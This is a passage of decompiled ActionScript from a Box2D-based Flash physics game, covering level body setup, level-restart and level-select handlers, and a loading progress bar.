dim52_sh.friction = 1;
dim52_sh.restitution = 0.1;
dim52 = world.CreateBody(dim52_def);
dim52.CreateShape(dim52_sh);
dim52.SetMassFromShapes();
dim53_def = new b2BodyDef();
dim53_sh = new b2CircleDef();
dim53_def.position.Set((dim53_cl.x / 30), (dim53_cl.y / 30));
dim53_sh.radius = ((dim53_cl.height / 2) / 30);
dim53_def.userData = dim53_cl;
dim53_sh.density = 10;
dim53_sh.friction = 1;
dim53_sh.restitution = 0.1;
dim53 = world.CreateBody(dim53_def);
dim53.CreateShape(dim53_sh);
dim53.SetMassFromShapes();
dim54_def = new b2BodyDef();
dim54_sh = new b2CircleDef();
dim54_def.position.Set((dim54_cl.x / 30), (dim54_cl.y / 30));
dim54_def.userData = dim54_cl;
dim54_sh.density = 10;
dim54_sh.friction = 1;
dim54_sh.restitution = 0.1;
dim54_sh.radius = ((dim54_cl.height / 2) / 30);
dim54 = world.CreateBody(dim54_def);
dim54.CreateShape(dim54_sh);
dim54.SetMassFromShapes();
dim55_def = new b2BodyDef();
dim55_sh = new b2CircleDef();
dim55_def.position.Set((dim55_cl.x / 30), (dim55_cl.y / 30));
dim55_def.userData = dim55_cl;
dim55_sh.density = 10;
dim55_sh.friction = 1;
dim55_sh.restitution = 0.1;
dim55_sh.radius = ((dim55_cl.height / 2) / 30);
dim55 = world.CreateBody(dim55_def);
dim55.CreateShape(dim55_sh);
dim55.SetMassFromShapes();
dim56_def = new b2BodyDef();
dim56_sh = new b2CircleDef();
dim56_def.position.Set((dim56_cl.x / 30), (dim56_cl.y / 30));
dim56_def.userData = dim56_cl;
dim56_sh.density = 10;
dim56_sh.friction = 1;
dim56_sh.restitution = 0.1;
dim56_sh.radius = ((dim56_cl.height / 2) / 30);
dim56 = world.CreateBody(dim56_def);
dim56.CreateShape(dim56_sh);
dim56.SetMassFromShapes();
dim57_def = new b2BodyDef();
dim57_sh = new b2CircleDef();
dim57_def.position.Set((dim57_cl.x / 30), (dim57_cl.y / 30));
dim57_def.userData = dim57_cl;
dim57_sh.density = 10;
dim57_sh.friction = 1;
dim57_sh.restitution = 0.1;
dim57_sh.radius = ((dim57_cl.height / 2) / 30);
dim57 = world.CreateBody(dim57_def);
dim57.CreateShape(dim57_sh);
dim57.SetMassFromShapes();
dim58_def = new b2BodyDef();
dim58_sh = new b2CircleDef();
dim58_def.position.Set((dim58_cl.x / 30), (dim58_cl.y / 30));
dim58_def.userData = dim58_cl;
dim58_sh.density = 10;
dim58_sh.friction = 1;
dim58_sh.restitution = 0.1;
dim58_sh.radius = ((dim58_cl.height / 2) / 30);
dim58 = world.CreateBody(dim58_def);
dim58.CreateShape(dim58_sh);
dim58.SetMassFromShapes();
dim59_def = new b2BodyDef();
dim59_sh = new b2CircleDef();
dim59_def.position.Set((dim59_cl.x / 30), (dim59_cl.y / 30));
dim59_def.userData = dim59_cl;
dim59_sh.density = 10;
dim59_sh.friction = 1;
dim59_sh.restitution = 0.1;
dim59_sh.radius = ((dim59_cl.height / 2) / 30);
dim59 = world.CreateBody(dim59_def);
dim59.CreateShape(dim59_sh);
dim59.SetMassFromShapes();
dim60_def = new b2BodyDef();
dim60_sh = new b2CircleDef();
dim60_def.position.Set((dim60_cl.x / 30), (dim60_cl.y / 30));
dim60_def.userData = dim60_cl;
dim60_sh.density = 10;
dim60_sh.friction = 1;
dim60_sh.restitution = 0.1;
dim60_sh.radius = ((dim60_cl.height / 2) / 30);
dim60 = world.CreateBody(dim60_def);
dim60.CreateShape(dim60_sh);
dim60.SetMassFromShapes();
dim61_def = new b2BodyDef();
dim61_sh = new b2CircleDef();
dim61_def.position.Set((dim61_cl.x / 30), (dim61_cl.y / 30));
dim61_def.userData = dim61_cl;
dim61_sh.density = 10;
dim61_sh.friction = 1;
dim61_sh.restitution = 0.1;
dim61_sh.radius = ((dim61_cl.height / 2) / 30);
dim61 = world.CreateBody(dim61_def);
dim61.CreateShape(dim61_sh);
dim61.SetMassFromShapes();
dim62_def = new b2BodyDef();
dim62_sh = new b2CircleDef();
dim62_def.position.Set((dim62_cl.x / 30), (dim62_cl.y / 30));
dim62_def.userData = dim62_cl;
dim62_sh.density = 10;
dim62_sh.friction = 1;
dim62_sh.restitution = 0.1;
dim62_sh.radius = ((dim62_cl.height / 2) / 30);
dim62 = world.CreateBody(dim62_def);
dim62.CreateShape(dim62_sh);
dim62.SetMassFromShapes();
dim63_def = new b2BodyDef();
dim63_sh = new b2CircleDef();
dim63_def.position.Set((dim63_cl.x / 30), (dim63_cl.y / 30));
dim63_def.userData = dim63_cl;
dim63_sh.density = 10;
dim63_sh.friction = 1;
dim63_sh.restitution = 0.1;
dim63_sh.radius = ((dim63_cl.height / 2) / 30);
dim63 = world.CreateBody(dim63_def);
dim63.CreateShape(dim63_sh);
dim63.SetMassFromShapes();
dim64_def = new b2BodyDef();
dim64_sh = new b2PolygonDef();
dim64_def.position.Set((dim64_cl.x / 30), (dim64_cl.y / 30));
dim64_sh.SetAsBox(((dim64_cl.width / 2) / 30), ((dim64_cl.height / 2) / 30));
dim64_def.userData = dim64_cl;
dim64_sh.density = 10;
dim64_sh.friction = 1;
dim64_sh.restitution = 0.1;
dim64 = world.CreateBody(dim64_def);
dim64.CreateShape(dim64_sh);
dim64.SetMassFromShapes();
dim65_def = new b2BodyDef();
dim65_sh = new b2PolygonDef();
dim65_def.position.Set((dim65_cl.x / 30), (dim65_cl.y / 30));
dim65_sh.SetAsBox(((dim65_cl.width / 2) / 30), ((dim65_cl.height / 2) / 30));
dim65_def.userData = dim65_cl;
dim65_sh.density = 10;
dim65_sh.friction = 1;
dim65_sh.restitution = 0.1;
dim65 = world.CreateBody(dim65_def);
dim65.CreateShape(dim65_sh);
dim65.SetMassFromShapes();
addEventListener(Event.ENTER_FRAME, up_w);
addEventListener(Event.ENTER_FRAME, game_f);
addEventListener(Event.ENTER_FRAME, add_hero);
zvuk_bt.addEventListener(MouseEvent.CLICK, nagal_zvuk);
again_bt.addEventListener(MouseEvent.CLICK, again_f);
home_bt.addEventListener(MouseEvent.CLICK, home_f);
}
function frame18(){
if (again_srab == 1){
if (locations == 1){
again_srab = 0;
smert = false;
game = 2;
this.gotoAndStop("loc1");
};
if (locations == 2){
again_srab = 0;
smert = false;
game = 2;
this.gotoAndStop("loc2");
};
if (locations == 3){
again_srab = 0;
smert = false;
game = 2;
this.gotoAndStop("loc3");
};
if (locations == 4){
again_srab = 0;
smert = false;
game = 2;
this.gotoAndStop("loc4");
};
if (locations == 5){
again_srab = 0;
smert = false;
game = 2;
this.gotoAndStop("loc5");
};
if (locations == 6){
again_srab = 0;
smert = false;
game = 2;
this.gotoAndStop("loc6");
};
if (locations == 7){
again_srab = 0;
smert = false;
game = 2;
this.gotoAndStop("loc7");
};
if (locations == 8){
again_srab = 0;
smert = false;
game = 2;
this.gotoAndStop("loc8");
};
if (locations == 9){
again_srab = 0;
smert = false;
game = 2;
this.gotoAndStop("loc9");
};
if (locations == 10){
again_srab = 0;
smert = false;
game = 2;
this.gotoAndStop("loc10");
};
if (locations == 11){
again_srab = 0;
smert = false;
game = 2;
this.gotoAndStop("loc11");
};
if (locations == 12){
again_srab = 0;
smert = false;
game = 2;
this.gotoAndStop("loc12");
};
if (locations == 13){
again_srab = 0;
smert = false;
game = 2;
this.gotoAndStop("loc13");
};
if (locations == 14){
again_srab = 0;
smert = false;
game = 2;
this.gotoAndStop("loc14");
};
if (locations == 15){
again_srab = 0;
smert = false;
game = 2;
this.gotoAndStop("loc15");
};
if (locations == 16){
again_srab = 0;
smert = false;
game = 2;
this.gotoAndStop("loc16");
};
if (locations == 17){
again_srab = 0;
smert = false;
game = 2;
this.gotoAndStop("loc17");
};
if (locations == 18){
again_srab = 0;
smert = false;
game = 2;
this.gotoAndStop("loc18");
};
if (locations == 19){
again_srab = 0;
smert = false;
game = 2;
gotoAndStop("loc19");
};
if (locations == 20){
again_srab = 0;
smert = false;
game = 2;
this.gotoAndStop("loc20");
};
if (locations == 21){
again_srab = 0;
smert = false;
game = 2;
this.gotoAndStop("loc21");
};
if (locations == 22){
again_srab = 0;
smert = false;
game = 2;
this.gotoAndStop("loc22");
};
if (locations == 23){
again_srab = 0;
smert = false;
game = 2;
this.gotoAndStop("loc23");
};
if (locations == 24){
again_srab = 0;
smert = false;
game = 2;
this.gotoAndStop("loc24");
};
if (locations == 25){
again_srab = 0;
smert = false;
game = 2;
this.gotoAndStop("vabor");
};
};
}
public function lev2_5_f(_arg1:MouseEvent){
gotoAndStop("loc13");
}
public function lev1_7_f(_arg1:MouseEvent){
gotoAndStop("loc7");
}
function frame26(){
cel = 4;
kol_cel = cel;
kol_hero = 4;
kol_hero_tx.text = ("x" + kol_hero.toString());
pos_hero_x = 267;
pos_hero_y = 380;
i = 1;
while (i <= 2) {
mas_balka.push(i);
mas_balka_giz.push(50);
i++;
};
locations = 6;
score_game = 0;
gro1 = new b2BodyDef();
gro1.position.Set((stena1.x / 30), (stena1.y / 30));
gro1.userData = stena1;
gro1_sh = new b2PolygonDef();
gro1_sh.SetAsBox(((stena1.width / 2) / 30), ((stena1.height / 2) / 30));
gro1_def = world.CreateBody(gro1);
gro1_def.CreateShape(gro1_sh);
gro1_def.SetMassFromShapes();
gro1_sh.density = 1;
gro2 = new b2BodyDef();
gro2.position.Set((stena2.x / 30), (stena2.y / 30));
gro2.userData = stena2;
gro2_sh = new b2PolygonDef();
gro2_sh.SetAsBox(((stena2.width / 2) / 30), ((stena2.height / 2) / 30));
gro2_def = world.CreateBody(gro2);
gro2_def.CreateShape(gro2_sh);
gro2_def.SetMassFromShapes();
gro2_sh.density = 1;
gro3 = new b2BodyDef();
gro3.position.Set((stena3.x / 30), (stena3.y / 30));
gro3.userData = stena3;
gro3_sh = new b2PolygonDef();
gro3_sh.SetAsBox(((stena3.width / 2) / 30), ((stena3.height / 2) / 30));
gro3_def = world.CreateBody(gro3);
gro3_def.CreateShape(gro3_sh);
gro3_def.SetMassFromShapes();
gro3_sh.density = 1;
gro4 = new b2BodyDef();
gro4.position.Set((stena4.x / 30), (stena4.y / 30));
gro4.userData = stena4;
gro4_sh = new b2PolygonDef();
gro4_sh.SetAsBox(((stena4.width / 2) / 30), ((stena4.height / 2) / 30));
gro4_def = world.CreateBody(gro4);
gro4_def.CreateShape(gro4_sh);
gro4_def.SetMassFromShapes();
gro4_sh.density = 1;
gro5 = new b2BodyDef();
gro5.position.Set((stena5.x / 30), (stena5.y / 30));
gro5.userData = stena5;
gro5_sh = new b2PolygonDef();
gro5_sh.SetAsBox(((stena5.width / 2) / 30), ((stena5.height / 2) / 30));
gro5_def = world.CreateBody(gro5);
gro5_def.CreateShape(gro5_sh);
gro5_def.SetMassFromShapes();
gro5_sh.density = 1;
gro6 = new b2BodyDef();
gro6.position.Set((stena6.x / 30), (stena6.y / 30));
gro6.userData = stena6;
gro6_sh = new b2PolygonDef();
gro6_sh.SetAsBox(((stena6.width / 2) / 30), ((stena6.height / 2) / 30));
gro6_def = world.CreateBody(gro6);
gro6_def.CreateShape(gro6_sh);
gro6_def.SetMassFromShapes();
gro6_sh.density = 1;
gro7 = new b2BodyDef();
gro7.position.Set((gro7_cl.x / 30), (gro7_cl.y / 30));
gro7.userData = gro7_cl;
gro7_sh = new b2PolygonDef();
gro7_sh.SetAsBox(((gro7_cl.width / 2) / 30), ((gro7_cl.height / 2) / 30));
gro7_def = world.CreateBody(gro7);
gro7_def.CreateShape(gro7_sh);
gro7_def.SetMassFromShapes();
gro7_sh.density = 1;
gro8 = new b2BodyDef();
gro8.position.Set((gro8_cl.x / 30), (gro8_cl.y / 30));
gro8.userData = gro8_cl;
gro8_sh = new b2PolygonDef();
gro8_sh.SetAsBox(((gro8_cl.width / 2) / 30), ((gro8_cl.height / 2) / 30));
gro8_def = world.CreateBody(gro8);
gro8_def.CreateShape(gro8_sh);
gro8_def.SetMassFromShapes();
gro8_sh.density = 1;
gro9 = new b2BodyDef();
gro9.position.Set((gro9_cl.x / 30), (gro9_cl.y / 30));
gro9.userData = gro9_cl;
gro9_sh = new b2PolygonDef();
gro9_sh.SetAsBox(((gro9_cl.width / 2) / 30), ((gro9_cl.height / 2) / 30));
gro9_def = world.CreateBody(gro9);
gro9_def.CreateShape(gro9_sh);
gro9_def.SetMassFromShapes();
gro9_sh.density = 1;
gro10 = new b2BodyDef();
gro10.position.Set((gro10_cl.x / 30), (gro10_cl.y / 30));
gro10.userData = gro10_cl;
gro10_sh = new b2PolygonDef();
gro10_sh.SetAsBox(((gro10_cl.width / 2) / 30), ((gro10_cl.height / 2) / 30));
gro10_def = world.CreateBody(gro10);
gro10_def.CreateShape(gro10_sh);
gro10_def.SetMassFromShapes();
gro10_sh.density = 1;
gro10_def.SetXForm(gro10_def.GetPosition(), (Math.PI / 6));
i = 1;
while (i <= 10) {
mas_ground.push(i);
i++;
};
dim1_def = new b2BodyDef();
dim1_sh = new b2PolygonDef();
dim1_def.position.Set((dim1_cl.x / 30), (dim1_cl.y / 30));
dim1_sh.SetAsBox(((dim1_cl.width / 2) / 30), ((dim1_cl.height / 2) / 30));
dim1_sh.density = 8;
dim1_sh.friction = 1;
dim1_sh.restitution = 0.1;
dim1_def.userData = dim1_cl;
dim1 = world.CreateBody(dim1_def);
dim1.CreateShape(dim1_sh);
dim1.SetMassFromShapes();
dim2_def = new b2BodyDef();
dim2_sh = new b2PolygonDef();
dim2_def.position.Set((dim2_cl.x / 30), (dim2_cl.y / 30));
dim2_sh.SetAsBox(((dim2_cl.width / 2) / 30), ((dim2_cl.height / 2) / 30));
dim2_def.userData = dim2_cl;
dim2_sh.density = 1;
dim2_sh.friction = 1;
dim2_sh.restitution = 0.1;
dim2 = world.CreateBody(dim2_def);
dim2.CreateShape(dim2_sh);
dim2.SetMassFromShapes();
dim2.SetXForm(dim2.GetPosition(), (Math.PI / 6));
addEventListener(Event.ENTER_FRAME, up_w);
addEventListener(Event.ENTER_FRAME, game_f);
addEventListener(Event.ENTER_FRAME, add_hero);
zvuk_bt.addEventListener(MouseEvent.CLICK, nagal_zvuk);
again_bt.addEventListener(MouseEvent.CLICK, again_f);
home_bt.addEventListener(MouseEvent.CLICK, home_f);
addEventListener(Event.ENTER_FRAME, game_f2);
}
function frame35(){
cel = 3;
kol_cel = cel;
kol_hero = 10;
kol_hero_tx.text = ("x" + kol_hero.toString());
pos_hero_x = 85;
pos_hero_y = 388;
i = 1;
while (i <= 19) {
mas_balka.push(i);
mas_balka_giz.push(4);
i++;
};
locations = 15;
score_game = 0;
gro1 = new b2BodyDef();
gro1.position.Set((stena1.x / 30), (stena1.y / 30));
gro1.userData = stena1;
gro1_sh = new b2PolygonDef();
gro1_sh.SetAsBox(((stena1.width / 2) / 30), ((stena1.height / 2) / 30));
gro1_def = world.CreateBody(gro1);
gro1_def.CreateShape(gro1_sh);
gro1_def.SetMassFromShapes();
gro1_sh.density = 1;
gro2 = new b2BodyDef();
gro2.position.Set((stena2.x / 30), (stena2.y / 30));
gro2.userData = stena2;
gro2_sh = new b2PolygonDef();
gro2_sh.SetAsBox(((stena2.width / 2) / 30), ((stena2.height / 2) / 30));
gro2_def = world.CreateBody(gro2);
gro2_def.CreateShape(gro2_sh);
gro2_def.SetMassFromShapes();
gro2_sh.density = 1;
gro3 = new b2BodyDef();
gro3.position.Set((stena3.x / 30), (stena3.y / 30));
gro3.userData = stena3;
gro3_sh = new b2PolygonDef();
gro3_sh.SetAsBox(((stena3.width / 2) / 30), ((stena3.height / 2) / 30));
gro3_def = world.CreateBody(gro3);
gro3_def.CreateShape(gro3_sh);
gro3_def.SetMassFromShapes();
gro3_sh.density = 1;
gro4 = new b2BodyDef();
gro4.position.Set((stena4.x / 30), (stena4.y / 30));
gro4.userData = stena4;
gro4_sh = new b2PolygonDef();
gro4_sh.SetAsBox(((stena4.width / 2) / 30), ((stena4.height / 2) / 30));
gro4_def = world.CreateBody(gro4);
gro4_def.CreateShape(gro4_sh);
gro4_def.SetMassFromShapes();
gro4_sh.density = 1;
gro5 = new b2BodyDef();
gro5.position.Set((stena5.x / 30), (stena5.y / 30));
gro5.userData = stena5;
gro5_sh = new b2PolygonDef();
gro5_sh.SetAsBox(((stena5.width / 2) / 30), ((stena5.height / 2) / 30));
gro5_def = world.CreateBody(gro5);
gro5_def.CreateShape(gro5_sh);
gro5_def.SetMassFromShapes();
gro5_sh.density = 1;
gro6 = new b2BodyDef();
gro6.position.Set((stena6.x / 30), (stena6.y / 30));
gro6.userData = stena6;
gro6_sh = new b2PolygonDef();
gro6_sh.SetAsBox(((stena6.width / 2) / 30), ((stena6.height / 2) / 30));
gro6_def = world.CreateBody(gro6);
gro6_def.CreateShape(gro6_sh);
gro6_def.SetMassFromShapes();
gro6_sh.density = 1;
gro7 = new b2BodyDef();
gro7.position.Set((gro7_cl.x / 30), (gro7_cl.y / 30));
gro7.userData = gro7_cl;
gro7_sh = new b2PolygonDef();
gro7_sh.SetAsBox(((gro7_cl.width / 2) / 30), ((gro7_cl.height / 2) / 30));
gro7_def = world.CreateBody(gro7);
gro7_def.CreateShape(gro7_sh);
gro7_def.SetMassFromShapes();
gro7_sh.density = 1;
gro8 = new b2BodyDef();
gro8.position.Set((gro8_cl.x / 30), (gro8_cl.y / 30));
gro8.userData = gro8_cl;
gro8_sh = new b2PolygonDef();
gro8_sh.SetAsBox(((gro8_cl.width / 2) / 30), ((gro8_cl.height / 2) / 30));
gro8_def = world.CreateBody(gro8);
gro8_def.CreateShape(gro8_sh);
gro8_def.SetMassFromShapes();
gro8_sh.density = 1;
gro9 = new b2BodyDef();
gro9.position.Set((gro9_cl.x / 30), (gro9_cl.y / 30));
gro9.userData = gro9_cl;
gro9_sh = new b2PolygonDef();
gro9_sh.SetAsBox(((gro9_cl.width / 2) / 30), ((gro9_cl.height / 2) / 30));
gro9_def = world.CreateBody(gro9);
gro9_def.CreateShape(gro9_sh);
gro9_def.SetMassFromShapes();
gro9_sh.density = 1;
gro10 = new b2BodyDef();
gro10.position.Set((gro10_cl.x / 30), (gro10_cl.y / 30));
gro10.userData = gro10_cl;
gro10_sh = new b2PolygonDef();
gro10_sh.SetAsBox(((gro10_cl.width / 2) / 30), ((gro10_cl.height / 2) / 30));
gro10_def = world.CreateBody(gro10);
gro10_def.CreateShape(gro10_sh);
gro10_def.SetMassFromShapes();
gro10_sh.density = 1;
i = 1;
while (i <= 10) {
mas_ground.push(i);
i++;
};
dim1_def = new b2BodyDef();
dim1_sh = new b2PolygonDef();
dim1_def.position.Set((dim1_cl.x / 30), (dim1_cl.y / 30));
dim1_sh.SetAsBox(((dim1_cl.width / 2) / 30), ((dim1_cl.height / 2) / 30));
dim1_sh.density = 1;
dim1_sh.friction = 1;
dim1_sh.restitution = 0.1;
dim1_def.userData = dim1_cl;
dim1 = world.CreateBody(dim1_def);
dim1.CreateShape(dim1_sh);
dim1.SetMassFromShapes();
dim2_def = new b2BodyDef();
dim2_sh = new b2PolygonDef();
dim2_def.position.Set((dim2_cl.x / 30), (dim2_cl.y / 30));
dim2_sh.SetAsBox(((dim2_cl.width / 2) / 30), ((dim2_cl.height / 2) / 30));
dim2_def.userData = dim2_cl;
dim2_sh.density = 1;
dim2_sh.friction = 1;
dim2_sh.restitution = 0.1;
dim2 = world.CreateBody(dim2_def);
dim2.CreateShape(dim2_sh);
dim2.SetMassFromShapes();
dim3_def = new b2BodyDef();
dim3_sh = new b2PolygonDef();
dim3_def.position.Set((dim3_cl.x / 30), (dim3_cl.y / 30));
dim3_sh.SetAsBox(((dim3_cl.width / 2) / 30), ((dim3_cl.height / 2) / 30));
dim3_def.userData = dim3_cl;
dim3_sh.density = 1;
dim3_sh.friction = 1;
dim3_sh.restitution = 0.1;
dim3 = world.CreateBody(dim3_def);
dim3.CreateShape(dim3_sh);
dim3.SetMassFromShapes();
dim4_def = new b2BodyDef();
dim4_sh = new b2PolygonDef();
dim4_def.position.Set((dim4_cl.x / 30), (dim4_cl.y / 30));
dim4_sh.SetAsBox(((dim4_cl.width / 2) / 30), ((dim4_cl.height / 2) / 30));
dim4_def.userData = dim4_cl;
dim4_sh.density = 1;
dim4_sh.friction = 1;
dim4_sh.restitution = 0.1;
dim4 = world.CreateBody(dim4_def);
dim4.CreateShape(dim4_sh);
dim4.SetMassFromShapes();
dim5_def = new b2BodyDef();
dim5_sh = new b2PolygonDef();
dim5_def.position.Set((dim5_cl.x / 30), (dim5_cl.y / 30));
dim5_sh.SetAsBox(((dim5_cl.width / 2) / 30), ((dim5_cl.height / 2) / 30));
dim5_def.userData = dim5_cl;
dim5_sh.density = 1;
dim5_sh.friction = 1;
dim5_sh.restitution = 0.1;
dim5 = world.CreateBody(dim5_def);
dim5.CreateShape(dim5_sh);
dim5.SetMassFromShapes();
dim6_def = new b2BodyDef();
dim6_sh = new b2PolygonDef();
dim6_def.position.Set((dim6_cl.x / 30), (dim6_cl.y / 30));
dim6_sh.SetAsBox(((dim6_cl.width / 2) / 30), ((dim6_cl.height / 2) / 30));
dim6_def.userData = dim6_cl;
dim6_sh.density = 1;
dim6_sh.friction = 1;
dim6_sh.restitution = 0.1;
dim6 = world.CreateBody(dim6_def);
dim6.CreateShape(dim6_sh);
dim6.SetMassFromShapes();
dim7_def = new b2BodyDef();
dim7_sh = new b2PolygonDef();
dim7_def.position.Set((dim7_cl.x / 30), (dim7_cl.y / 30));
dim7_sh.SetAsBox(((dim7_cl.width / 2) / 30), ((dim7_cl.height / 2) / 30));
dim7_def.userData = dim7_cl;
dim7_sh.density = 1;
dim7_sh.friction = 1;
dim7_sh.restitution = 0.1;
dim7 = world.CreateBody(dim7_def);
dim7.CreateShape(dim7_sh);
dim7.SetMassFromShapes();
dim8_def = new b2BodyDef();
dim8_sh = new b2PolygonDef();
dim8_def.position.Set((dim8_cl.x / 30), (dim8_cl.y / 30));
dim8_sh.SetAsBox(((dim8_cl.width / 2) / 30), ((dim8_cl.height / 2) / 30));
dim8_def.userData = dim8_cl;
dim8_sh.density = 1;
dim8_sh.friction = 1;
dim8_sh.restitution = 0.1;
dim8 = world.CreateBody(dim8_def);
dim8.CreateShape(dim8_sh);
dim8.SetMassFromShapes();
dim9_def = new b2BodyDef();
dim9_sh = new b2PolygonDef();
dim9_def.position.Set((dim9_cl.x / 30), (dim9_cl.y / 30));
dim9_sh.SetAsBox(((dim9_cl.width / 2) / 30), ((dim9_cl.height / 2) / 30));
dim9_def.userData = dim9_cl;
dim9_sh.density = 1;
dim9_sh.friction = 1;
dim9_sh.restitution = 0.1;
dim9 = world.CreateBody(dim9_def);
dim9.CreateShape(dim9_sh);
dim9.SetMassFromShapes();
dim10_def = new b2BodyDef();
dim10_sh = new b2PolygonDef();
dim10_def.position.Set((dim10_cl.x / 30), (dim10_cl.y / 30));
dim10_sh.SetAsBox(((dim10_cl.width / 2) / 30), ((dim10_cl.height / 2) / 30));
dim10_def.userData = dim10_cl;
dim10_sh.density = 1;
dim10_sh.friction = 1;
dim10_sh.restitution = 0.1;
dim10 = world.CreateBody(dim10_def);
dim10.CreateShape(dim10_sh);
dim10.SetMassFromShapes();
dim11_def = new b2BodyDef();
dim11_sh = new b2PolygonDef();
dim11_def.position.Set((dim11_cl.x / 30), (dim11_cl.y / 30));
dim11_sh.SetAsBox(((dim11_cl.width / 2) / 30), ((dim11_cl.height / 2) / 30));
dim11_def.userData = dim11_cl;
dim11_sh.density = 1;
dim11_sh.friction = 1;
dim11_sh.restitution = 0.1;
dim11 = world.CreateBody(dim11_def);
dim11.CreateShape(dim11_sh);
dim11.SetMassFromShapes();
dim12_def = new b2BodyDef();
dim12_sh = new b2PolygonDef();
dim12_def.position.Set((dim12_cl.x / 30), (dim12_cl.y / 30));
dim12_sh.SetAsBox(((dim12_cl.width / 2) / 30), ((dim12_cl.height / 2) / 30));
dim12_def.userData = dim12_cl;
dim12_sh.density = 1;
dim12_sh.friction = 1;
dim12_sh.restitution = 0.1;
dim12 = world.CreateBody(dim12_def);
dim12.CreateShape(dim12_sh);
dim12.SetMassFromShapes();
dim13_def = new b2BodyDef();
dim13_sh = new b2PolygonDef();
dim13_def.position.Set((dim13_cl.x / 30), (dim13_cl.y / 30));
dim13_sh.SetAsBox(((dim13_cl.width / 2) / 30), ((dim13_cl.height / 2) / 30));
dim13_def.userData = dim13_cl;
dim13_sh.density = 1;
dim13_sh.friction = 1;
dim13_sh.restitution = 0.1;
dim13 = world.CreateBody(dim13_def);
dim13.CreateShape(dim13_sh);
dim13.SetMassFromShapes();
dim14_def = new b2BodyDef();
dim14_sh = new b2PolygonDef();
dim14_def.position.Set((dim14_cl.x / 30), (dim14_cl.y / 30));
dim14_sh.SetAsBox(((dim14_cl.width / 2) / 30), ((dim14_cl.height / 2) / 30));
dim14_def.userData = dim14_cl;
dim14_sh.density = 1;
dim14_sh.friction = 1;
dim14_sh.restitution = 0.1;
dim14 = world.CreateBody(dim14_def);
dim14.CreateShape(dim14_sh);
dim14.SetMassFromShapes();
dim15_def = new b2BodyDef();
dim15_sh = new b2PolygonDef();
dim15_def.position.Set((dim15_cl.x / 30), (dim15_cl.y / 30));
dim15_sh.SetAsBox(((dim15_cl.width / 2) / 30), ((dim15_cl.height / 2) / 30));
dim15_def.userData = dim15_cl;
dim15_sh.density = 1;
dim15_sh.friction = 1;
dim15_sh.restitution = 0.1;
dim15 = world.CreateBody(dim15_def);
dim15.CreateShape(dim15_sh);
dim15.SetMassFromShapes();
dim16_def = new b2BodyDef();
dim16_sh = new b2PolygonDef();
dim16_def.position.Set((dim16_cl.x / 30), (dim16_cl.y / 30));
dim16_sh.SetAsBox(((dim16_cl.width / 2) / 30), ((dim16_cl.height / 2) / 30));
dim16_def.userData = dim16_cl;
dim16_sh.density = 1;
dim16_sh.friction = 1;
dim16_sh.restitution = 0.1;
dim16 = world.CreateBody(dim16_def);
dim16.CreateShape(dim16_sh);
dim16.SetMassFromShapes();
dim17_def = new b2BodyDef();
dim17_sh = new b2PolygonDef();
dim17_def.position.Set((dim17_cl.x / 30), (dim17_cl.y / 30));
dim17_sh.SetAsBox(((dim17_cl.width / 2) / 30), ((dim17_cl.height / 2) / 30));
dim17_def.userData = dim17_cl;
dim17_sh.density = 12;
dim17_sh.friction = 1;
dim17_sh.restitution = 0.1;
dim17 = world.CreateBody(dim17_def);
dim17.CreateShape(dim17_sh);
dim17.SetMassFromShapes();
dim18_def = new b2BodyDef();
dim18_sh = new b2PolygonDef();
dim18_def.position.Set((dim18_cl.x / 30), (dim18_cl.y / 30));
dim18_sh.SetAsBox(((dim18_cl.width / 2) / 30), ((dim18_cl.height / 2) / 30));
dim18_def.userData = dim18_cl;
dim18_sh.density = 12;
dim18_sh.friction = 1;
dim18_sh.restitution = 0.1;
dim18 = world.CreateBody(dim18_def);
dim18.CreateShape(dim18_sh);
dim18.SetMassFromShapes();
dim19_def = new b2BodyDef();
dim19_sh = new b2PolygonDef();
dim19_def.position.Set((dim19_cl.x / 30), (dim19_cl.y / 30));
dim19_sh.SetAsBox(((dim19_cl.width / 2) / 30), ((dim19_cl.height / 2) / 30));
dim19_def.userData = dim19_cl;
dim19_sh.density = 12;
dim19_sh.friction = 1;
dim19_sh.restitution = 0.1;
dim19 = world.CreateBody(dim19_def);
dim19.CreateShape(dim19_sh);
dim19.SetMassFromShapes();
addEventListener(Event.ENTER_FRAME, up_w);
addEventListener(Event.ENTER_FRAME, game_f);
addEventListener(Event.ENTER_FRAME, add_hero);
zvuk_bt.addEventListener(MouseEvent.CLICK, nagal_zvuk);
again_bt.addEventListener(MouseEvent.CLICK, again_f);
home_bt.addEventListener(MouseEvent.CLICK, home_f);
}
public function lev2_7_f(_arg1:MouseEvent){
gotoAndStop("loc15");
}
public function lev3_3_f(_arg1:MouseEvent){
gotoAndStop("loc19");
}
public function fo_lina(_arg1:Event){
asdasd = int(((loaded / total) * 100));
polosa_zagr.load_cl.load_tx.text = (asdasd.toString() + "%");
if (polosa_zagr.currentFrame < 12){
if (((((loaded / total) > 0)) && (((loaded / total) < 0.1)))){
polosa_zagr.gotoAndStop(2);
polosa_zagr.load_cl.gotoAndStop(2);
};
if (((((loaded / total) >= 0.1)) && (((loaded / total) < 0.2)))){
polosa_zagr.gotoAndStop(3);
polosa_zagr.load_cl.gotoAndStop(3);
};
if (((((loaded / total) >= 0.2)) && (((loaded / total) < 0.3)))){
polosa_zagr.gotoAndStop(4);
polosa_zagr.load_cl.gotoAndStop(4);
};
if (((((loaded / total) >= 0.3)) && (((loaded / total) < 0.4)))){
polosa_zagr.gotoAndStop(5);
polosa_zagr.load_cl.gotoAndStop(5);
};
if (((((loaded / total) >= 0.4)) && (((loaded / total) < 0.5)))){
polosa_zagr.gotoAndStop(6);
polosa_zagr.load_cl.gotoAndStop(6);
};
if (((((loaded / total) >= 0.5)) && (((loaded / total) < 0.6)))){
polosa_zagr.gotoAndStop(7);
polosa_zagr.load_cl.gotoAndStop(7);
};
if (((((loaded / total) >= 0.6)) && (((loaded / total) < 0.7)))){
polosa_zagr.gotoAndStop(8);
polosa_zagr.load_cl.gotoAndStop(8);
};
if (((((loaded / total) >= 0.7)) && (((loaded / total) < 0.8)))){
polosa_zagr.gotoAndStop(9);
polosa_zagr.load_cl.gotoAndStop(9);
};
if (((((loaded / total) >= 0.8)) && (((loaded / total) < 0.9)))){
polosa_zagr.gotoAndStop(10);
polosa_zagr.load_cl.gotoAndStop(10);
};
if ((loaded / total) >= 1){
polosa_zagr.gotoAndStop(11);
polosa_zagr.load_cl.gotoAndStop(11);
st_cl.start_bt.visible = true;
if (st_cl.currentFrame == 1){
polosa_zagr.gotoAndPlay(12);
removeEventListener(Event.ENTER_FRAME, fo_lina);
loaderInfo.removeEventListener(ProgressEvent.PROGRESS, progressHandler);
